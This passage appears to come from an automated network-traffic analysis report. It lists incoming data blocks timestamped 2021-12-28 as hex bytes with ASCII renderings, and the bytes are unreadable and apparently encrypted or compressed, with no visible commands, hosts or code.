2021-12-28 17:13:33 UTC	2627	IN	Data Raw: 7b 34 5d 94 c3 9b 70 29 2e 72 ff ee 3a c0 93 d6 26 82 66 34 28 40 0d 74 57 36 25 5e c1 f0 4f e3 c6 5c 85 69 a2 f9 47 67 70 36 b9 43 33 fc 8f 1e 3e 24 c0 7e 7c 7d ea d9 e6 be 74 70 fe 2b e8 e7 4d cd 44 30 0c e6 3d f7 89 9f 42 e1 20 22 a4 c0 3a df 9c f0 78 b5 6a 8d bc c9 ba 1b 1f a3 7c 2f 62 74 42 db dd c2 79 cf fe ba 2b 0d 94 6f 58 b7 3d 74 48 2c ee 93 ff 55 a3 88 05 6e 7d 81 71 f6 f2 3a 12 f8 cd 3e 29 1a 33 5e 8c c8 4c fe 96 11 35 d3 c2 b2 a0 95 17 d5 5d 87 62 88 ca a1 d1 f3 5a 19 fe 06 58 9b 49 e4 a0 e3 39 f6 04 df 80 e8 a6 36 12 28 24 f8 ca bf 61 c2 ca 38 9b 40 bf 52 49 ec 21 ae 34 82 d3 d6 76 0e 96 02 b9 61 61 9c 63 3a 6e e3 f6 ea de cb 08 08 89 7e 9c 72 52 d3 fc 17 b1 b1 a3 41 37 d6 78 10 d1 ec a7 63 99 ed e2 84 ae 7d 65 2c 18 32 24 dc a4 69 57 78 ee Data Ascii: {4]p).r:&f4(@tW6%^O\iGgp6C3>$~\|}tp+MD0=B ":xj\|/btBy+oX=tH,Un}q:>)3^L5]bZXI96($a8@RI!4vaac:n~rRA7xc}e,2$iWx
2021-12-28 17:13:33 UTC	2643	IN	Data Raw: d9 ab b6 33 dc a3 26 2f c9 36 bc 88 a0 0b c8 67 d3 b9 33 21 f9 19 96 d1 ea d8 64 b6 b7 f9 e6 fd ae 95 84 a4 31 f5 00 62 ac eb ed ec 8e c6 ee ce d0 38 d8 61 90 3c fd 60 be b7 f1 3f e7 06 b5 88 b9 19 9d 04 12 0c ee 35 2e 71 17 cc 9e 4d 21 b1 8d 31 ba 0d 7f a2 ab 28 9e 23 9e cd 28 0f 15 51 01 7a 73 b5 a5 61 87 21 e3 1a e6 83 de da 23 41 02 f7 ee 80 b9 e1 58 1a 39 ea ca 88 78 60 95 15 88 25 ef 7d 25 85 f0 0d 03 12 5c a7 04 90 61 f3 d5 de 3d d4 27 84 eb 7d da f7 c6 8a ef 80 77 fd 8f 8a 21 4e 92 bb 44 bf 29 d2 17 eb 84 f0 32 e3 05 de a1 ef b9 35 67 ca 81 88 6c 5c 52 90 4f 7f f8 e2 e5 ac c9 99 c3 f8 85 cc 3d 08 9a 62 a2 7b 3f 48 b0 28 83 f5 c8 b3 35 c4 c9 83 39 76 1c 29 03 7a 8b 6e 17 e7 67 91 5e 4c 9f 03 ee 7b 5e 4c 4d 76 97 af f1 b2 71 c7 30 42 7a 7c f6 df a5 Data Ascii: 3&/6g3!d1b8a<`?5.qM!1(#(Qzsa!#AX9x`%}%\a='}w!ND)25gl\RO=b{?H(59v)zng^L{^LMvq0Bz\|
2021-12-28 17:13:33 UTC	2659	IN	Data Raw: 5b 9a 6e 41 8b eb c6 a9 ea 00 87 a0 61 42 ba aa 33 70 d3 36 3c 3e 44 24 9b 0e f5 fb 68 e0 1e 92 90 f6 d9 3e e5 03 26 9f b2 d8 92 21 48 99 f4 1c 09 92 f5 74 92 fe 92 ff 6e 2b 6b c1 99 2c dd 72 d5 d4 c1 8e 1c 0b e4 8d 57 6d 85 02 fd 46 52 b1 f4 48 af fe d7 2c 87 01 ac c5 4c b1 4f 99 4f 92 cc e5 55 10 56 12 86 59 97 a2 1c 42 82 b6 ed af 9d ec fc 05 da 7d aa 92 40 de 54 c3 38 69 af 65 2c eb ff 23 b1 a6 76 e9 24 1a 7d 45 ac 76 11 46 1d 44 04 4d c3 11 32 3b d5 79 1a 46 1e 81 85 3b 2b 7e 1b 29 0f 26 24 a4 10 d3 22 33 9b 51 0b 94 54 8f fb ba f6 4b c5 8a c8 96 38 db 76 be b8 be 2a ad 28 6a 50 f6 85 49 b0 74 10 53 5d 4d 4e bf d8 a3 ed a9 59 61 90 99 79 39 90 78 57 f7 28 99 52 35 ac ff df c2 58 80 8a e2 b4 c5 dd 52 b9 69 a4 69 8f 6c 6c 53 74 bc 93 57 d8 46 ce fc eb Data Ascii: [nAaB3p6<>D$h>&!Htn+k,rWmFRH,LOOUVYB}@T8ie,#v$}EvFDM2;yF;+~)&$"3QTK8v*(jPItS]MNYay9xW(R5XRiillStWF
2021-12-28 17:13:33 UTC	2675	IN	Data Raw: 02 ad 36 7e 6f a3 8b a8 82 3e a4 8e f2 e2 e8 91 a9 32 85 1e 7f b0 0e be 80 02 96 87 fa b8 b9 9b 62 2e a9 e1 f5 88 ca b1 0b 24 89 b5 de 42 f0 7e 28 74 82 06 54 78 f2 07 e7 27 68 92 07 5c 0b 4c f9 c6 53 0b 0e 5a ad 9a 47 fc 31 eb 72 fb f0 17 91 45 49 86 01 de 6e 25 9c b8 b3 67 b2 b7 47 9a c7 fa 7c 5f ee 3a f9 cb de c6 6d c0 25 99 ea 5e de 15 5e 11 c4 bd 8f 53 f4 f1 36 6f dd d3 51 a9 db 64 77 cc 96 ac 70 55 2c 64 4d 0a 86 e2 fc ca 46 fe 73 81 dc 4a 03 f8 38 61 23 2a 56 01 89 be 8b 94 41 e2 cd f4 6f 96 4f 15 65 aa 73 4b d2 15 5b 53 5d 3b e2 5a ac 0d a5 07 f6 07 c3 11 ce 82 b3 82 e1 86 3a b6 30 e1 8a 94 14 c6 49 9d 02 dc 99 43 f4 3e 4b 00 ba 0b 46 82 ae ed a5 2b 18 8d 48 f0 74 f4 4b 60 21 00 43 df 4f 38 0f 74 3b 58 bb 9a f0 b2 dd 79 e1 ff 4d 14 38 32 f1 64 72 Data Ascii: 6~o>2b.$B~(tTx'h\LSZG1rEIn%gG\|_:m%^^S6oQdwpU,dMFsJ8a#*VAoOesK[S];Z:0IC>KF+HtK`!CO8t;XyM82dr
2021-12-28 17:13:33 UTC	2691	IN	Data Raw: 08 b7 9f e3 c6 b6 cb a3 ad 08 b5 89 af fe 33 18 71 83 d1 79 85 61 02 07 b5 0a cf 0b 70 93 38 0b 00 6b 54 45 1c 54 cb 79 13 04 50 7c cf e4 1f cb cc 3c 24 fc 88 72 01 88 f8 0b e2 aa b9 4a 06 b1 52 7a be 0f b8 b9 c8 4d b2 35 15 0e e4 c3 8a 8f 22 f6 c6 f4 ff ca fe 38 3d 85 70 89 be ba 45 55 78 ae ff e8 b4 5f 59 9c 71 f3 36 79 c0 7b 58 65 7b 4e 1e 16 e7 f4 5e d4 a0 5f fe 7f 2e c0 48 43 d6 f3 c4 b7 b5 2c 17 f5 8f 1c 7e 83 8e d0 01 dc 9e e7 86 5d af 26 bf 35 c5 73 e4 9f ae 57 b5 2e 1b e5 90 62 fb e7 8f 05 b7 83 28 b8 74 fd 3d 37 7c e1 a2 eb 4e 89 68 90 77 9c 2d 25 ee 87 36 8d aa c9 9b 58 fd cb ac d8 65 b7 c9 05 58 24 5d 18 44 3f 5d ae b8 1c 03 88 2f fa d7 04 a9 e3 a8 1b fe 8c 3f c0 79 1c f5 43 63 bb e2 f4 d0 99 37 57 2d 70 ac a3 e1 30 33 64 a0 3f 74 44 a8 08 76 Data Ascii: 3qyap8kTETyP\|<$rJRzM5"8=pEUx_Yq6y{Xe{N^_.HC,~]&5sW.b(t=7\|Nhw-%6XeX$]D?]/?yCc7W-p03d?tDv
2021-12-28 17:13:33 UTC	2707	IN	Data Raw: 1d 35 7a 51 9e d4 f8 70 e0 06 89 e7 21 aa 36 15 9e e7 96 b6 00 85 c2 bc 8f 09 13 f7 5d 29 cc c6 ab 63 c6 95 e9 cb 34 1f 88 e6 00 81 d5 c2 45 5e 32 5a 9b c8 95 79 f8 61 c2 8b 82 c7 c1 09 86 ba 60 fc e2 d5 e5 9e 72 cc 6b 9a c2 2f 1e 0c 67 aa 33 86 90 30 6b df e3 bb 3d e7 bc 68 4f 6f 77 ef 74 f9 94 86 9e af 17 4e 77 12 a8 5a 45 e0 71 f2 f1 c1 c2 b1 7e 6e 1b 5e f2 19 97 f3 b6 d1 f5 d5 6a 4c a2 e7 88 95 a5 ad ec ed 46 fa 37 84 15 55 56 9c 77 fc f2 e3 02 67 ec d0 1f bd 58 2d ff 82 cd 1c 23 24 a7 53 3a b1 06 5d 13 d1 03 30 00 da 28 1f 0d 1f 5e 85 0c f7 37 0e 8b 1f c6 33 4a 0e a8 c1 6a 4d c2 a6 31 47 d8 1e fc 73 fb 97 ac f6 ec 35 60 94 83 aa 61 a6 36 10 92 d2 80 00 e7 a1 19 91 0d 06 fb 61 2e 81 91 c3 99 8a 54 fa fc ae 29 d6 57 50 6b f0 fa c6 2f 27 ea 6a 89 ff 6f Data Ascii: 5zQp!6])c4E^2Zya`rk/g30k=hOowtNwZEq~n^jLF7UVwgX-#$S:]0(^73JjM1Gs5`a6a.T)WPk/'jo
2021-12-28 17:13:33 UTC	2723	IN	Data Raw: 37 41 14 8f 0f 2c e7 b5 3a d2 83 55 82 61 f8 c1 94 33 dc f5 a5 f0 d4 14 e1 b4 ed fb 7b b9 3e 8a 32 c9 94 15 6d 6e b7 69 24 79 ee d5 2c 81 a3 06 a0 99 f4 2b c9 bf 05 a9 c9 24 ea 82 94 99 82 13 0b dd 7b b1 c6 63 1c 24 19 b6 11 e5 7d 56 fb 08 68 68 1a ab 16 29 65 42 57 50 4f 53 a0 ef 3a 78 ac 8a 38 37 a7 36 8e a2 b6 08 73 45 4c 64 6f 9a 17 25 c0 1a 1b c5 32 7d 33 20 9e ad a5 52 09 74 a2 fa a8 bb 10 61 cf 94 54 d0 c2 d9 90 76 cd 3e 34 3d 72 a0 38 cb 6d c9 4f 0c 6b ba 6e 1f fb 86 12 ee 3d 3a 8e 87 cf 38 09 66 ce 62 b0 48 37 c9 ec b6 2b 71 43 df 7f 6d f8 4d 04 6f fd a1 c7 dd 1e 96 94 6b 0a c1 a0 71 35 2a 5b df 70 ac 38 50 14 9f 0e e3 29 52 f2 79 aa b2 0c 7e 4b 56 1d 1b 32 45 3f dd 77 4a 6d 65 c7 32 0f 2b d0 72 47 55 af 28 95 51 83 f3 d3 93 63 27 1a 55 f0 ce 13 Data Ascii: 7A,:Ua3{>2mni$y,+${c$}Vhh)eBWPOS:x876sELdo%2}3 RtaTv>4=r8mOkn=:8fbH7+qCmMokq5*[p8P)Ry~KV2E?wJme2+rGU(Qc'U
2021-12-28 17:13:33 UTC	2739	IN	Data Raw: a3 18 46 3d 3d fc 8c 67 e2 d0 3e ce c1 cb 72 48 a3 2f b4 6b 01 58 80 06 cb 8d e2 d7 b0 a4 8d a3 2d cb 47 3f 47 14 f9 36 8c 2c fe e3 a0 d9 bf 35 3c 6d 28 9e 63 37 21 6d 71 76 3e b8 0b 2b 2a ad ec 8f d8 d6 7d f3 55 4c c0 d6 63 96 25 ae 71 24 d4 fe 47 37 d4 5c cc bd 89 23 b6 27 a2 a3 35 31 02 f6 96 48 dd 6b 32 a2 cd 05 14 68 1e d3 68 a0 b1 58 85 c4 5a 5b 52 25 a2 b6 75 35 73 4f b7 94 4d 24 af ce 2c 4c 29 a1 33 d4 0e 3e 4c b2 46 9d f0 cd b8 53 33 c0 9f 23 80 f3 b1 99 49 54 1c 56 c3 af 97 42 40 a8 31 e1 26 d8 c6 b3 0f b6 27 7e 6c 6e 59 a5 4a 02 d0 50 f9 03 ca c6 d6 c5 cf db 38 6d 1f 13 69 ba c5 47 76 ec fc 64 b4 f4 e5 b2 2b 4a aa a2 7b 16 55 13 da 19 b6 81 4c 5b e1 39 09 8f e2 65 d8 49 c2 a0 54 f5 5b 92 96 16 4b dd 34 13 16 60 d1 67 9e 98 bb 25 24 46 78 4b 91 Data Ascii: F==g>rH/kX-G?G6,5<m(c7!mqv>+*}ULc%q$G7\#'51Hk2hhXZ[R%u5sOM$,L)3>LFS3#ITVB@1&'~lnYJP8miGvd+J{UL[9eIT[K4`g%$FxK
2021-12-28 17:13:33 UTC	2755	IN	Data Raw: 39 73 1e 4a 6d 2f ca 5b df ac 19 8a df 35 36 11 ec 75 a2 b3 d4 4d 74 db e3 f7 e6 3f 7f 79 bd da 79 db bd a5 a3 40 68 6c 7c 53 6f 87 bf 0e a7 3e 32 e0 f1 f3 50 45 30 51 9b 41 f7 57 5b 24 46 fd 0e df bc fd cc 1f 8f 5d 89 90 c6 3d 4d ed dd 1f a6 ed ae 47 25 ae ba fd de 37 3e ab 74 c9 65 2b bd da 8a b2 91 90 d7 04 5d c9 a9 b3 22 73 8d 02 63 7c ec ee bb da d1 84 8d 22 7f 48 9a 63 e5 24 0b 82 5a a8 11 c9 bf 69 04 38 c2 f7 1f aa f8 75 21 55 25 44 d7 7e 31 d9 77 98 7d 25 bd 5c db ea 76 f0 54 b7 4a 9b dc a8 3c 47 cb 4f 75 15 75 c9 b8 51 b6 3f e8 cc da 39 ed 41 15 61 22 80 3e 4d 70 75 2c 16 5d 82 8d 5e 43 5c 65 55 b3 9f c6 af ca 6b 43 5f a9 45 8e a7 30 d3 4f 3e b7 97 4a c9 3a d1 d1 fc 81 cc 0e ba 8b 36 08 41 d7 c0 71 56 63 4c d2 de 84 97 d1 44 ec cf c6 f6 4b 6c c8 Data Ascii: 9sJm/[56uMt?yy@hl\|So>2PE0QAW[$F]=MG%7>te+]"sc\|"Hc$Zi8u!U%D~1w}%\vTJ<GOuuQ?9Aa">Mpu,]^C\eUkC_E0O>J:6AqVcLDKl
2021-12-28 17:13:33 UTC	2771	IN	Data Raw: 44 a1 28 64 5e a4 30 7a 65 90 2f d7 b5 9a 4f b5 a0 02 42 31 b9 09 24 01 c5 ea f9 67 0f 02 58 4f 3b 58 22 d6 ba c5 f6 ad d2 ae 42 52 29 e6 17 4e 62 27 d7 c9 e5 84 e3 d4 5f 93 ea e8 73 e3 f8 81 5a 2e c5 51 2b 4e 34 0f 14 26 0d 77 88 71 1e dc 72 12 ec 7a 60 b3 c6 20 95 37 c5 82 1b 88 91 73 94 16 d5 8a 69 81 05 aa 05 18 16 f1 b5 3f d4 32 bf 4c 27 fd 20 5b c5 bd a5 64 ed cd a5 84 5c 71 cf 0b 6b 7a 83 e7 e4 e2 f8 63 ec 5a 95 12 8e 5e 34 0d 50 03 13 ce 0c 6a aa c0 2d d5 a3 12 ec 10 e2 bc e2 26 ac 61 68 12 8f 25 cb 4e 4b c6 31 17 02 d7 9b 58 9f 6b f3 9a 25 24 40 74 67 bc d1 ca 01 45 54 ab 2c ff d6 fc b2 fe 52 0b 95 70 19 da d5 f1 ff 83 d4 ed b0 56 02 c4 4e a2 12 23 a2 66 33 bf f7 49 6d 78 68 06 46 db b9 c9 69 f1 6e 5e 2b c9 e8 fb 8a 47 73 87 16 3f d1 4c 22 ea fa Data Ascii: D(d^0ze/OB1$gXO;X"BR)Nb'_sZ.Q+N4&wqrz` 7si?2L' [d\qkzcZ^4Pj-&ah%NK1Xk%$@tgET,RpVN#f3ImxhFin^+Gs?L"
2021-12-28 17:13:33 UTC	2787	IN	Data Raw: 09 1c 17 bb 71 ca 33 b1 3b 33 d6 e8 ff 0b ad b9 47 9e 1c df a2 b8 79 5c 26 cd 3b 8a fb 30 44 9e 79 0d 0e 16 de 15 cb 9f 9d 97 6c 3b 26 bd 9a 24 42 6a 7b 57 33 3b 5a 5c 16 5f bd 6a b4 39 11 71 54 b5 3a 79 6c 35 97 a5 35 ba c4 57 b3 ea d2 c1 11 4b 4d c9 66 14 76 8e f7 ca 57 14 74 2a 6c 83 77 e9 c7 80 4f 0e c6 47 07 1b 3d 5f 91 9c b3 59 71 fe ea a1 78 d7 55 7e 06 d3 16 00 9d 10 a5 bb ca a6 85 c7 bf 64 4c bd e9 f1 96 75 7a 1d ad 48 51 31 a8 c6 75 c3 fb a9 39 bc 19 45 f8 08 30 cf b5 b0 59 c8 be 97 c6 af a0 e4 d9 0a 69 da 57 32 fc 0d cd 44 0b 38 dc ab 3c cf 91 06 4e cc bf 46 fe 2c 88 49 4a a7 d3 ed d5 1a 1c 91 9d d8 61 65 03 69 04 9a aa e8 01 ae 98 1e 0d 30 27 ec 59 91 60 d7 66 ed 13 67 ef d5 da a4 64 6a b6 c0 7d c5 ef 85 7e 37 be e2 a1 3d a3 b7 5b cf 32 15 2a Data Ascii: q3;3Gy\&;0Dyl;&$Bj{W3;Z\_j9qT:yl55WKMfvWtlwOG=_YqxU~dLuzHQ1u9E0YiW2D8<NF,IJaei0'Y`fgdj}~7=[2
2021-12-28 17:13:33 UTC	2803	IN	Data Raw: 0d d4 6a 96 83 4e 9e 0b d9 2b 0c 3c 99 6c ec c0 5d db af 74 e0 9a 96 75 9c c1 4c e2 e2 18 30 9e 99 ba 67 18 22 42 53 7f 43 14 30 c8 b1 ad 45 f1 ac 87 22 aa d6 f0 00 c5 39 03 13 c8 88 eb 31 a0 c6 1e b8 f8 81 df 72 de fa c4 fd cc c1 7b 78 8e 25 98 b6 89 b6 7f ec c6 72 93 6f 5d 83 15 3c c6 69 44 fe d5 80 95 48 22 54 45 a8 b5 1e 51 53 74 44 f7 cf aa b9 cf 33 a7 60 e8 2b 9a 4f 21 f0 86 40 2c 0d 22 7f 06 6f 36 1c b6 60 97 c8 1c 49 85 9f 57 fb 77 72 b3 e6 c2 7c 94 a2 64 cd 7b 04 35 1f 22 ac cb 0f 20 03 86 f5 34 87 6c af 14 85 b8 bd 23 01 f5 e7 de 45 d7 aa 73 33 e1 d9 1d d6 0f 1f 67 7e b0 aa 22 cc 78 c6 67 a1 f6 66 44 a3 38 55 37 59 dc fc f9 cc 47 11 ec a8 9d ee fb a9 fe 0d 1b df 96 9b d9 92 2f 56 1d f8 f5 1b 5a d3 f7 bf 60 35 63 bf 25 e7 bf ce f6 4c e0 bb a5 a0 Data Ascii: jN+<l]tuL0g"BSC0E"91r{x%ro]<iDH"TEQStD3`+O!@,"o6`IWwr\|d{5" 4l#Es3g~"xgfD8U7YG/VZ`5c%L
2021-12-28 17:13:33 UTC	2819	IN	Data Raw: e2 03 8d ea e0 e9 5b f3 12 b2 1c 80 0f 26 78 c0 c6 e8 e4 1b 8f 67 a5 de 8e 24 97 ce 8a fa cc 55 f2 a2 2e 39 af 29 9f 8e d0 50 ac 78 d1 8a 1f a4 86 a7 f9 7c 46 30 f5 81 e0 a3 e7 32 20 9f 50 7d bc 0b ef ea b6 92 bd 0e 59 33 d7 e3 47 03 0d d5 f0 f1 3b 0c b6 a0 af ab 86 a1 91 e1 f5 6f 40 ce 57 c8 b1 af 01 fb c9 22 64 f7 50 2a 06 a5 dd 33 01 ee a7 8c a3 da 09 4a 29 dd 1c 26 dc 48 fe 7d bf 25 71 b9 ae b6 3a 58 c3 7d bd 95 aa ff 7d bb 78 5b 76 2a 9a 5e d8 10 c5 88 77 f4 e6 49 7f cc c0 5f eb d1 e5 49 2b ac 09 fc 5e 78 0d d9 15 dd d1 30 8d 48 56 b4 23 f7 fa ff e0 11 78 aa 70 46 b7 7e d2 a0 a0 32 51 5a 7d b9 b2 04 74 3b c9 15 dc 6d 85 c8 2b ea a9 4e 76 9a a9 6e 66 74 68 55 36 45 a8 76 5e 21 b1 b0 90 22 a7 59 64 d7 f5 88 f1 f0 1c 64 4b 13 56 e9 d2 22 fb e2 bb 58 ca Data Ascii: [&xg$U.9)Px\|F02 P}Y3G;o@W"dP3J)&H}%q:X}}x[v^wI_I+^x0HV#xpF~2QZ}t;m+NvnfthU6Ev^!"YddKV"X
2021-12-28 17:13:33 UTC	2835	IN	Data Raw: f7 c0 d4 03 db 2c 73 61 23 78 3d d0 c8 da 19 42 81 e3 ff 53 99 d9 fc 5a aa 3e c1 53 30 d8 e3 ac 37 cc 85 d2 14 7e 95 6f fa f5 35 3d 02 92 77 db 61 84 c8 d1 08 88 9b 23 26 0f ff 62 75 7a e3 8f a8 5b eb 9c 19 fd be 42 b0 56 bb 05 90 73 cb fd 77 a4 d8 31 92 21 cb ff 74 a7 93 1c e4 b6 76 6a 01 fc 70 11 35 82 21 59 7e b1 1f 8d 53 0a 83 a2 0e eb a1 6f 94 77 52 d2 14 a1 a8 38 25 48 51 c3 3e 76 f3 6c c0 35 17 c0 38 51 02 e4 12 3f 70 2f 15 14 10 73 b6 f9 70 63 03 5b 4b dc e3 9e 04 5b 8c 7a e9 ac 33 7b 95 0b bc ce 35 6e 43 b6 22 ec 26 89 c0 39 17 78 e6 c7 d1 46 27 5b fa 04 f6 7e f6 76 51 1e 21 ea 92 60 94 f2 55 74 71 d0 ef 78 d7 e9 84 3d cc 94 77 ba bd 88 14 0b 3e e0 ba f0 42 70 e3 2a b3 db c5 8e 22 d2 77 29 e4 4c 7c ca d3 ac 8d 26 83 1d 79 37 46 17 5f d1 fb b3 9e Data Ascii: ,sa#x=BSZ>S07~o5=wa#&buz[BVsw1!tvjp5!Y~SowR8%HQ>vl58Q?p/spc[K[z3{5nC"&9xF'[~vQ!`Utqx=w>Bp*"w)L\|&y7F_
2021-12-28 17:13:33 UTC	2851	IN	Data Raw: 86 70 13 06 0e d7 96 4e 17 c9 a3 f1 8d 5c ea df a7 f1 b9 e5 d8 97 35 b9 e6 fd 6f a8 65 f6 a4 9a f2 2d 29 14 c8 e8 7e 9b b4 29 51 d4 27 89 1c 46 32 bf 88 3b 54 37 1e 90 12 4a fe 1b 3d 95 52 62 d0 c1 4d b3 98 f4 b1 32 6c 9e 04 3e eb bb 80 66 43 a7 e8 e7 68 fa b1 e5 86 62 74 a9 8f ad e7 33 ab 72 4d 32 78 65 a0 03 7e 7d 97 d5 5b 11 e2 73 35 9e 26 cf a6 3d e4 09 e7 3a ed d6 1d 0f 88 35 7f 43 db 14 57 83 91 28 4e 66 ee 3d 55 49 5a df 4f a0 51 ed 73 1d 81 91 49 7e 5f 30 12 86 4b bc 8a 50 f0 3a f8 e5 ff c4 46 8e 28 61 8a 4c 89 c8 98 68 09 83 f2 28 e9 ac ec ed 45 0a f4 bd fb 2e 94 96 23 e5 67 46 18 f8 d8 26 80 e3 4e 90 ad a3 2a 62 29 9b 8f 34 60 b3 88 4b d4 c4 3d 62 a3 60 48 21 27 0e 42 c7 c1 00 af 7e 43 6e 10 8d 61 00 a4 96 9b 97 9f 05 f3 d0 07 f6 60 6b 31 a0 a7 Data Ascii: pN\5oe-)~)Q'F2;T7J=RbM2l>fChbt3rM2xe~}[s5&=:5CW(Nf=UIZOQsI~_0KP:F(aLh(E.#gF&N*b)4`K=b`H!'B~Cna`k1
2021-12-28 17:13:33 UTC	2867	IN	Data Raw: 4e e7 cd e3 59 9f c9 c4 4a 32 c1 9c 41 0d 22 5f a9 93 8c 6e bb d1 25 87 19 60 df 85 ce 7a bf ec 4a f8 96 f3 3b 4a c2 f4 4a ad d7 29 00 b0 84 8f d3 71 63 50 c4 ff 5f 50 b8 df bb d1 63 e6 c7 69 ed 1d 89 8f 9d a2 ee e9 b9 2b 8b 2e ab bb 54 1d 31 2f 32 2b 04 3c 30 a8 44 36 e1 94 ad c0 ab d1 af 37 b9 30 fa b3 84 9c 80 3d 5d 0f aa 50 e7 b3 ed 52 f1 16 11 6a a0 e8 73 13 25 c2 53 a9 cf 02 af fc a4 b1 3c b7 f3 b8 ab c3 5b 86 6b 52 31 72 8d 34 86 a8 7c 05 01 48 5e 63 49 77 f8 ce dd 69 a7 8f 2c 6c 45 8c a8 2b 50 11 d3 39 67 82 76 ec be 4e 72 58 10 7d 4e 3d 76 e4 6e ab 5f 7c 9e 72 41 65 26 2a c1 c2 4e 36 26 69 cd 8b 6e 9b 33 02 ae ba 72 34 64 c4 56 26 2f f6 75 f6 6c ce 5b a4 39 30 25 6b 8b 94 2a 17 26 89 e8 33 84 f3 0e 9b 30 95 f9 e2 2e 6c ae c6 74 04 3b c5 14 64 e8 Data Ascii: NYJ2A"_n%`zJ;JJ)qcP_Pci+.T1/2+<0D670=]PRjs%S<[kR1r4\|H^cIwi,lE+P9gvNrX}N=vn_\|rAe&N6&in3r4dV&/ul[90%k&30.lt;d
2021-12-28 17:13:33 UTC	2883	IN	Data Raw: d1 da 29 83 ab 1a be 3e b1 b4 37 2e 19 8e 92 b9 8e 08 ab cd 04 a0 46 c8 2e 78 55 aa 8e e2 4e ec fb 72 bd d3 b4 bb db 3e d7 b5 66 aa 25 28 41 13 b9 6f 79 b4 e8 8b ba 4a 4c 31 ee 9b c9 da 0a 1f f1 ac eb d7 34 54 56 d6 92 2a 87 eb 98 51 eb 4d 26 5b c3 dd 90 88 58 04 61 f5 44 fb 8a e5 32 27 99 dd 4c 91 86 52 69 0d 49 9e ea a4 12 40 be 2b b0 d0 ae 1d 6c fa 88 38 1b 07 c4 f9 11 26 1d 6a e4 be 88 b0 a5 88 99 ba 3c 56 35 b9 dd 37 08 c4 4c 79 60 e4 93 3d 55 15 c7 ab fd b0 d2 dd 4d 96 b2 ae 46 10 0a 14 e3 72 d9 83 30 5c fe 6a 40 09 7a 9b 8f 8e a7 c0 4e 50 1e f4 df c0 ef 79 54 3d 05 56 09 82 b0 66 53 0b 38 d9 a4 ef 58 e0 3e 39 c6 31 71 73 eb 21 05 bb 3e 85 ed d4 d4 57 b1 77 f6 92 1b 9b e6 8e b3 eb 2a 5b aa a7 af 4b 72 e1 be ae 0f 41 c5 42 6f e7 24 12 ff c8 26 a0 5e Data Ascii: )>7.F.xUNr>f%(AoyJL14TVQM&[XaD2'LRiI@+l8&j<V57Ly`=UMFr0\j@zNPyT=VfS8X>91qs!>Ww[KrABo$&^
2021-12-28 17:13:33 UTC	2899	IN	Data Raw: 89 4b f5 3d a5 c1 1e 8b 50 09 03 6a b4 ab fe 90 eb 48 d1 43 ac 02 43 de 23 40 5a 7d 92 fa 9b 2a 3e 0c 3c 6f fb 14 21 6f 8a 44 81 48 26 be e2 5a da bc 4d 42 4b ad 52 1b f0 b8 88 f1 e3 b6 03 74 5e ef 61 82 aa 2e 16 17 0f 1c 8c 1c 95 4d cd ec 56 26 e6 19 2c ea 58 eb fc 9d 25 57 93 74 fc 40 58 ae 20 fb 5f e6 5d 3b 0e 0b e2 97 99 09 f5 07 9b b0 cc 2c 73 18 f1 4f 09 95 16 1a 0d 0f c3 dc 25 8e ad 2f e0 b2 2f 74 44 26 ea 45 86 aa 70 a7 89 1c 1d b3 63 27 11 37 70 75 fb 41 38 1c 23 2b 53 d9 eb 4e 00 33 8c e4 f8 ad 78 a4 5a 89 e9 0d 62 8a 42 cb 60 3c b1 45 df f5 f2 b0 27 ff ff 52 7c 3f b7 e0 5f 59 4f c1 82 e2 51 0d a9 29 43 59 26 74 55 67 65 fe 62 f9 49 24 f0 6e 83 d5 47 d0 28 bc ad 5f 52 c0 57 ba b2 67 5b 7c 2f 50 4c 2c 35 71 df d8 d2 ef 8f 00 8f cd 12 85 d5 fe 51 Data Ascii: K=PjHCC#@Z}*><o!oDH&ZMBKRt^a.MV&,X%Wt@X _];,sO%//tD&Epc'7puA8#+SN3xZbB`<E'R\|?_YOQ)CY&tUgebI$nG(_RWg[\|/PL,5qQ
2021-12-28 17:13:33 UTC	2915	IN	Data Raw: d6 97 17 ab 16 dd 27 96 54 55 1d fa 6c 5d 5a d7 29 18 72 26 ef f5 4e 15 af a8 73 9b e0 9a 65 9e c4 d2 e9 a3 dc 6e 13 bb 4c 02 27 d0 d9 c6 cc f7 99 c8 a8 ed 07 64 3d 3e 67 68 96 1b bb 83 e8 98 9e 27 9b cb 1d c9 44 d2 93 b3 ac ec 6e 3c 62 2c d0 60 5b 9c 41 78 1e f1 62 a9 3b f9 5f 04 b4 9f 1d 84 95 b8 22 ba 22 da 20 73 a5 2f 7e 39 cb 5c 51 d5 79 d0 4e 5f 26 c3 d5 ca 5d 0f 1a cc 14 c2 fb 60 00 06 6e eb 9f 94 e1 fb b1 07 27 7b 78 3e 88 b6 21 78 64 f8 f3 6f ad 25 99 3b 70 89 16 b4 16 0c 32 67 f5 0a 0e 5f 8e b5 00 8e 5e 23 bb b7 e8 d6 5e 66 af 5a 94 32 77 8a 15 8b 90 34 47 97 b2 72 8c 9d 9d 43 87 ff 14 fa 67 2f 53 5e 0a 5b 68 1d e3 99 aa a8 02 52 28 eb e7 43 14 32 03 a0 d5 a1 20 b1 18 94 30 d6 90 5c 88 f2 5d d1 df 2c 2a 5b ad 0d 85 09 ce 0f 4e 3f 01 28 d5 0b 57 Data Ascii: 'TUl]Z)r&NsenL'd=>gh'Dn<b,`[Axb;_"" s/~9\QyN_&]`n'{x>!xdo%;p2g_^#^fZ2w4GrCg/S^[hR(C2 0\],*[N?(W
2021-12-28 17:13:33 UTC	2931	IN	Data Raw: 7f a9 b6 98 07 f3 8f f3 6c dd 2a c4 5e d2 5d 01 78 69 65 66 49 12 99 71 53 39 c8 58 e1 ad 26 af 8a d0 10 3b 08 9f ea aa a5 b6 74 75 bd 96 03 a9 91 35 c0 4d 1d 8f f3 e6 b5 73 a2 4e bd 73 43 79 92 60 d1 e8 a9 a9 33 0a ad 6a ff f2 04 ed d6 4e e1 1a 72 86 13 58 b4 ff 4d a5 f5 b2 e1 07 8e e2 21 60 f2 f4 09 47 e5 04 14 89 41 a0 2b 5f d6 22 da 30 53 66 fb 94 40 f0 d8 65 e8 1d b4 73 8b 08 dd d0 54 70 df 81 d9 f2 54 7e 4e 2b 6d 0c 6a 52 59 67 44 e9 49 7e 9d 49 77 2a a7 71 55 20 99 4d 27 2f 37 2c f6 94 b6 67 d2 45 5c ec 80 bc 1d 68 54 b7 fc 51 47 98 77 17 92 d9 14 9b 08 fc 8b 97 e4 90 f7 e7 73 69 e8 20 5a 12 49 22 a5 86 75 1d 33 46 76 6a 3d 65 a6 eb 32 1b a5 4a 24 a7 d6 71 d7 20 43 56 5f da 66 ad 4e 28 7e f4 7c 44 3e e5 4f f3 34 